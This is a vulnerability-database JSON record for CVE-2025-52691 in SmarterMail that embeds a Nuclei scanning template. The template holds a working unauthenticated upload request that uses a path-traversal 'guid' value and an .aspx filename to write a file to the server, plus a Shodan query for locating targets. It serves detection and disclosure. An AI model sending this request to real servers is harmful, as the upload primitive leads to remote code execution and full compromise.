{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-52691/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-52691/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-52691/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-52691/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-52691/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-52691"},"sightings":{"href":"/api/v1/sightings/cve-2025-52691"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-52691.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-52691\n\ninfo:\n  name: SmarterMail - Unrestricted File Upload\n  author: DhiyaneshDK,watchTowr\n  severity: critical\n  description: |\n    Mail server contains an unrestricted file upload vulnerability allowing unauthenticated attackers to upload arbitrary files to any location, potentially enabling remote code execution.\n  impact: |\n    Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.\n  remediation: |\n    Update to the latest version of the mail server.\n  reference:\n    - https://github.com/watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691\n    - https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2025-124/\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: html:\"SmarterMail\"\n  tags: cve,cve2025,smartermail,file-upload,intrusive,rce,kev,vkev,vuln\n\nvariables:\n  rand_string: '{{to_lower(rand_text_alpha(6))}}'\n  file_name: '{{to_lower(rand_text_alpha(6))}}'\n\nhttp:\n  - raw:\n      - |\n        POST /api/upload HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW\n        Content-Disposition: form-data; name=\"context\"\n\n        attachment\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW\n        Content-Disposition: form-data; name=\"resumableIdentifier\"\n\n        fakeID\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW\n        Content-Disposition: form-data; name=\"resumableFilename\"\n\n        {{file_name}}.aspx\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW\n        Content-Disposition: form-data; name=\"contextData\"\n\n        {\"guid\":\"dag/../../{{rand_string}}\"}\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW\n        Content-Disposition: form-data; name=\"whatever\"; filename=\"{{file_name}}.jpg\"\n\n        Detection Artifact Generator\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW--\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"fileName\":'\n          - '{\"key\":'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100f8c18924636dbddece8838f93d904c94bf619feb418d564c8a78d08be122cb5e022100f788f438b708e6d76c99cdc95041a19d28c93c6c90f83e3e6342e1c1f3cd089f:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2025-52691"}